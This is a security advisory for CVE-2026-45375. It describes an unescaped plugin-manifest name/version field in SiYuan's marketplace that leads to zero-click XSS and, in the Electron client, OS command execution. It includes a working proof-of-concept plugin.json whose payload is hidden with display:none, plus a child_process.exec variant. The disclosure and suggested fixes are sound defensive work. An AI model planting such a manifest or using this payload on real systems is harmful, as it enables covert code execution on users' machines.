CVE-2026-45375

### Summary SiYuan's Bazaar (community marketplace) renders the `name` and `version` fields of a package's `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` — `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. Because the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is **zero-click on the list view** — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required. A second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink. ### Details **Server-side allowlist — `kernel/bazaar/package.go:134-145`:** ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } // pkg.Name and pkg.Version are NOT escaped } ``` **`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:** ```go // installed.go:59 pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name) // package.go:148-162 func GetPreferredLocaleString(m LocaleStrings, fallback string) string { if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer if v := strings.TrimSpace(m[util.Lang]); v != "" { return v } if v := strings.TrimSpace(m["default"]); v != "" { return v } if v := strings.TrimSpace(m["en_US"]); v != "" { return v } return fallback } ``` **Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:** ```go // package.go:127 (only the local install path calls sanitizePackageDisplayStrings) sanitizePackageDisplayStrings(ret) ``` `buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel's `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow. **The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:** ```go // sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义，避免 XSS。 // （跟思源内核 kernel/bazaar/package.go 保持一致） func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing. **Frontend sinks — `app/src/config/bazaar.ts`:** ```ts // :430 — installed-plugin card list (zero-click) ${item.preferredName} // :526 — package detail view <a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a> // :540 — package detail view, version stripe <div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div> ``` The constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600). **Renderer privilege boundary — `app/electron/main.js:407-411`:** ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` JavaScript executing in the marketplace tab can call `require('child_process').exec(...)` directly, escalating DOM XSS to OS command execution. ### PoC End-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload. **1. Run a stock SiYuan v3.6.5 kernel:** ```sh mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin docker run -d --name siyuan-poc -p 16806:6806 \ -v /tmp/siyuan-poc-ws:/siyuan/workspace \ -e SIYUAN_ACCESS_AUTH_CODE=test123 \ b3log/siyuan:v3.6.5 \ --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:** ```json { "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "displayName": {}, "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."}, "author": "markdown-utils", "version": "1.4.2", "url": "https://github.com/markdown-utils/markdown-utilities", "backends": ["all"], "frontends": ["all"] } ``` The visible portion of the `name` field is the literal string `Markdown Utilities`. The `<img>` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text. **3. Verify the kernel returns the unescaped payload:** Authenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user: ```sh curl -s -b 'siyuan=<session-cookie>' \ -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \ -H 'Content-Type: application/json' \ -d '{"frontend":"desktop","keyword":""}' ``` Observed (verbatim): ```json { "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "version": "1.4.2" } ``` The HTML payload arrives at the client unmodified. **4. Trigger via the UI:** In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `<img>` element, fails to load `src=x`, fires `onerror`, and **`alert("SiYuan Bazaar XSS")` pops**. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible. **5. Electron RCE substitution:** The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call: ```json "name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">" ``` On any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user. ### Impact - **Stored XSS → arbitrary OS command execution** in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs. - **Triggers on view, not on install.** Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked. - **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate. - **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification. - **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel. ### Suggested fix Primary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`: ```diff func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) + pkg.Name = html.EscapeString(pkg.Name) + pkg.Version = html.EscapeString(pkg.Version) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } + for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) } } ``` Secondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go"). Tertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper. Renderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.